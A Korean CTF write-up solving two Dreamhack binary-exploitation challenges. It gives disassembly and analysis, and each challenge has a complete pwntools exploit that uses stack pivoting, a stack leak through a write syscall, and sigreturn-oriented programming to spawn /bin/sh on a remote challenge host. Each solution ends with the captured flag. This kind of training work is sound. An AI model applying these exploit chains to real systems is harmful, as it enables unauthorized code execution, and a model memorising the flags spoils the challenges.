64비트 바이너리가 주어진다.
저번에 예선때 나왔던 baby-syscaller의 후속 버전인 것 같다.
statically linked 바이너리이다.
함수는 두개만 존재한다.
__int64 start()
{
char v1[8]; // [rsp+8h] [rbp-8h] BYREF
read(0, v1, 0x64u);
return 0LL;
}
start 함수의 모습이다.
사실 도움은 안되니까 어셈블리어로 확인해보면,
.text:0000000000401028
.text:0000000000401028 ; =============== S U B R O U T I N E =======================================
.text:0000000000401028
.text:0000000000401028 ; Attributes: bp-based frame
.text:0000000000401028
.text:0000000000401028 public _start
.text:0000000000401028 _start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401028
.text:0000000000401028 var_8 = byte ptr -8
.text:0000000000401028
.text:0000000000401028 ; __unwind {
.text:0000000000401028 endbr64
.text:000000000040102C push rbp
.text:000000000040102D mov rbp, rsp
.text:0000000000401030 sub rsp, 10h
.text:0000000000401034 lea rax, [rbp+var_8]
.text:0000000000401038 mov edx, 64h ; 'd'
.text:000000000040103D mov rsi, rax
.text:0000000000401040 mov edi, 0
.text:0000000000401045 call read
.text:000000000040104A mov eax, 0
.text:000000000040104F leave
.text:0000000000401050 retn
.text:0000000000401050 ; } // starts at 401028
.text:0000000000401050 _start endp
.text:0000000000401050
.text:0000000000401050 _text ends
.text:0000000000401050
위와 같다.
signed __int64 __fastcall read(unsigned int a1, char *a2, unsigned int a3)
{
return sys_read(a1, a2, a3);
}
read 함수의 모습이다.
이것도 도움은 안되니 어셈블리어로 확인하면 아래와 같다.
.text:0000000000401000
.text:0000000000401000 ; =============== S U B R O U T I N E =======================================
.text:0000000000401000
.text:0000000000401000 ; Attributes: bp-based frame
.text:0000000000401000
.text:0000000000401000 ; signed __int64 __fastcall read(unsigned int, char *, unsigned int)
.text:0000000000401000 public read
.text:0000000000401000 read proc near ; CODE XREF: _start+1D↓p
.text:0000000000401000 ; DATA XREF: LOAD:0000000000400088↑o
.text:0000000000401000
.text:0000000000401000 buf = qword ptr -10h
.text:0000000000401000 count = qword ptr -8
.text:0000000000401000
.text:0000000000401000 ; __unwind {
.text:0000000000401000 endbr64
.text:0000000000401004 push rbp
.text:0000000000401005 mov rbp, rsp
.text:0000000000401008 mov dword ptr [rbp+count+4], edi
.text:000000000040100B mov [rbp+buf], rsi
.text:000000000040100F mov dword ptr [rbp+count], edx
.text:0000000000401012 mov eax, 0
.text:0000000000401017 mov ecx, dword ptr [rbp+count+4]
.text:000000000040101A mov rsi, [rbp+buf] ; buf
.text:000000000040101E mov edx, dword ptr [rbp+count] ; count
.text:0000000000401021 mov edi, ecx ; fd
.text:0000000000401023 syscall ; LINUX - sys_read
.text:0000000000401025 nop
.text:0000000000401026 pop rbp
.text:0000000000401027 retn
.text:0000000000401027 ; } // starts at 401000
.text:0000000000401027 read endp
.text:0000000000401027
예선에서 나왔던 baby-syscaller와 다르게 helper를 통해 가젯이 제공되지 않는다.
baby-syscaller 처럼 rw 권한이 있는 세그먼트가 존재한다.
.text:0000000000401021 mov edi, ecx ; fd
.text:0000000000401023 syscall ; LINUX - sys_read
.text:0000000000401025 nop
.text:0000000000401026 pop rbp
.text:0000000000401027 retn
.text:0000000000401027 ; } // starts at 401000
.text:0000000000401027 read endp
기본적으로 read 함수 내부에서 syscall 가젯을 찾을 수 있다.
pop rdi나 rsi 가젯은 찾을 수 없었다.
대신 rax는 sys_read의 리턴 값으로 컨트롤 할 수 있다.
read 함수가 0x64만큼 입력을 받기 때문에, 크기가 0xf8인 SigreturnFrame을 그냥 집어넣게 된다면 정상적으로 동작하지 않는다.
또한 /bin/sh의 주소를 특정할 수 없다는 문제도 있다.
그러면 rw 세그먼트로 stack pivoting을 진행해서 /bin/sh의 주소를 특정할 수 있도록 하면 된다.
SigreturnFrame을 쪼개서 저장하고, pivoting으로 옮기기에는 호출되는 함수들이 sub rsp를 통해서 내려가고, leave ret 등으로 인해서 페이로드가 덮혀서 시도하기에는 힘들다고 판단했다.
그래서 read 함수 내부 루틴중, 아래 루틴을 이용해서 edi, rsi, edx 레지스터에 조작된 값을 넣어서 SigreturnFrame을 삽입할 수 있도록 했다.
.text:0000000000401017 mov ecx, [rbp-4]
.text:000000000040101A mov rsi, [rbp-10h] ; buf
.text:000000000040101E mov edx, [rbp-8] ; count
.text:0000000000401021 mov edi, ecx ; fd
.text:0000000000401023 syscall ; LINUX - sys_read
.text:0000000000401025 nop
.text:0000000000401026 pop rbp
.text:0000000000401027 retn
.text:0000000000401027 ; } // starts at 401000
.text:0000000000401027 read endp
.text:0000000000401027
read 함수 내부에서는 rdi, rsi, rdx 레지스터의 값들을 지역 변수로 옮기고 위 로직이 실행되면서, syscall을 부르게 된다.
이걸 이용해서 적당히 rbp를 조작하고, 나머지 레지스터들도 조작할 수 있다.
from pwn import *
context.binary = './prob'
e = ELF('./prob')
#p = process('./prob')
p =remote('host3.dreamhack.games',16310)
syscall_pop_ret = 0x401023
read = 0x401000
ret = 0x0000000000401027
start = 0x401028
start_1= 0x000000000401034
leave_ret = 0x000000000040104f
s = lambda x : p.send(x)
rvu = lambda x : p.recvuntil(x)
context.log_level='debug'
pay = b'A'*8
pay += p64(0x404400)
pay += p64(start_1) #start
s(pay)
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = 0x404538
frame.rsp = 0x404438
frame.rbp = 0x404438
frame.rip = syscall_pop_ret
# 0x69 : 0x0
# 3E * 4 -> 0xf8
pause()
pay = p64(0) #pay
pay += p64(0x404438)
pay += p64(ret)
pay += p64(ret)
pay += p64(ret)
pay += p64(0x401017)
pay += p64(0x404418)
pay += p64(0xffffffff)
pay += b'/bin/sh\x00'
s(pay)
bin_sh = 0x404438
pay = b'A'*0x18
pay += p64(0x401000)
pay += p64(syscall_pop_ret)
pay += bytes(frame)
pay += b'/bin/sh\x00'
pause()
s(pay)
sleep(0.1)
s(b'A'*15)
p.interactive()
flag : DH{6fc8d219bb7cb57f350a3a3a1b4b33733b188b9fa75b3bbebe945ca63cede4a9}
64 비트 바이너리가 주어진다.
adult-syscaller의 후속 버전 같다.
adult-syscaller와 거의 대부분이 일치한다.
.text:0000000000401028
.text:0000000000401028 ; =============== S U B R O U T I N E =======================================
.text:0000000000401028
.text:0000000000401028 ; Attributes: bp-based frame
.text:0000000000401028
.text:0000000000401028 public _start
.text:0000000000401028 _start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401028
.text:0000000000401028 var_8 = byte ptr -8
.text:0000000000401028
.text:0000000000401028 ; __unwind {
.text:0000000000401028 endbr64
.text:000000000040102C push rbp
.text:000000000040102D mov rbp, rsp
.text:0000000000401030 sub rsp, 10h
.text:0000000000401034 lea rax, [rbp+var_8]
.text:0000000000401038 mov edx, 64h ; 'd'
.text:000000000040103D mov rsi, rax
.text:0000000000401040 mov edi, 0
.text:0000000000401045 call read
.text:000000000040104A mov eax, 0
.text:000000000040104F leave
.text:0000000000401050 retn
.text:0000000000401050 ; } // starts at 401028
.text:0000000000401050 _start endp
.text:0000000000401050
.text:0000000000401050 _text ends
.text:0000000000401050
start 함수의 모습이다.
.text:0000000000401000
.text:0000000000401000 ; =============== S U B R O U T I N E =======================================
.text:0000000000401000
.text:0000000000401000 ; Attributes: bp-based frame
.text:0000000000401000
.text:0000000000401000 ; signed __int64 __fastcall read(unsigned int, char *, unsigned int)
.text:0000000000401000 public read
.text:0000000000401000 read proc near ; CODE XREF: _start+1D↓p
.text:0000000000401000 ; DATA XREF: LOAD:0000000000400088↑o
.text:0000000000401000
.text:0000000000401000 buf = qword ptr -10h
.text:0000000000401000 count = qword ptr -8
.text:0000000000401000
.text:0000000000401000 ; __unwind {
.text:0000000000401000 endbr64
.text:0000000000401004 push rbp
.text:0000000000401005 mov rbp, rsp
.text:0000000000401008 mov dword ptr [rbp+count+4], edi
.text:000000000040100B mov [rbp+buf], rsi
.text:000000000040100F mov dword ptr [rbp+count], edx
.text:0000000000401012 mov eax, 0
.text:0000000000401017 mov ecx, dword ptr [rbp+count+4]
.text:000000000040101A mov rsi, [rbp+buf] ; buf
.text:000000000040101E mov edx, dword ptr [rbp+count] ; count
.text:0000000000401021 mov edi, ecx ; fd
.text:0000000000401023 syscall ; LINUX - sys_read
.text:0000000000401025 nop
.text:0000000000401026 pop rbp
.text:0000000000401027 retn
.text:0000000000401027 ; } // starts at 401000
.text:0000000000401027 read endp
.text:0000000000401027
read 함수의 모습이다.
함수는 이 두개가 끝이다.
그런데 adult-syscaller와 다른 부분이 있다.
아까의 rw 세그먼트가 사라졌다.
stack만 rw를 가지게 된다.
아까와 흐름은 비슷하지만, 여기에선 특정할 수 있는 주소로 stack pivoting을 하지 못한다.
기본적으로 rdi, rsi 같은 레지스터들을 컨트롤 할 수 있는 가젯이 없기 때문에, sys_read로 rax만 컨트롤 할 수 있다.
그래서 rax를 1로 세팅해서 write syscall로 바꾸고, 기본적으로 pwntool process 같이 pipe로 연결되는 경우같은 것들을 제외하고 fd 0, 1, 2가 하나의 특정 PTY를 가리킨다는 점을 이용해서 sys_write를 해주면, stack의 env 부분을 leak 할 수 있다.
좀 더 rsi를 올려주게 되면, vdso도 구할 수 있게 되는데, 이때 sh\x00이 vdso에 있어서 이걸 이용하려다가 삽질을 했다.
그냥 스택 env 부분을 가져와서 충분히 빼주고, pivoting 해주고 adult-syscaller 처럼 해주면 된다.
from pwn import *
e = ELF('./prob')
p = process('./prob',stdin=PTY,stdout=PTY,stderr=PTY)
p = remote('host3.dreamhack.games',20715)
syscall_pop_ret = 0x401023
read = 0x401000
ret = 0x0000000000401027
start = 0x401028
pop_rbp = 0x0000000000401026
start = 0x401028
start_1= 0x000000000401034
s = lambda x: p.send(x)
rv = lambda x: p.recv(x)
rvu = lambda x : p.recvuntil(x)
context.log_level='debug'
context.binary = './prob'
pay = b'A'*0x10
pay += p64(read)
pay += p64(syscall_pop_ret)
pay += p64(0)
pay += p64(start)
s(pay)
s(b'A')
rv(0x30)
recv= u64(rvu(b'\x7f').ljust(8,b'\x00'))-0x200
success('stack : '+hex(recv))
pay = b'A'*8
pay += p64(recv)
pay += p64(start_1)
sleep(0.1)
s(pay)
pause()
pay = p64(0) #pay
pay += p64(recv+0x38)
pay += p64(ret)
pay += p64(ret)
pay += p64(ret)
pay += p64(0x401017)
pay += p64(recv+0x18)
pay += p64(0xffffffff)
pay += b'/bin/sh\x00'
s(pay)
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = recv + 0x138
frame.rsp = recv+0x100
frame.rbp = recv+0x100
frame.rip = syscall_pop_ret
bin_sh = recv+0x38
pay = b'A'*0x18
pay += p64(0x401000)
pay += p64(syscall_pop_ret)
pay += bytes(frame)
pay += b'/bin/sh\x00'
pause()
s(pay)
sleep(0.1)
s(b'A'*15)
p.interactive()
flag : DH{c459cfc8aa4b99e63bf69f323916f87752ff0a142f6a2a18f290580dc75876f1}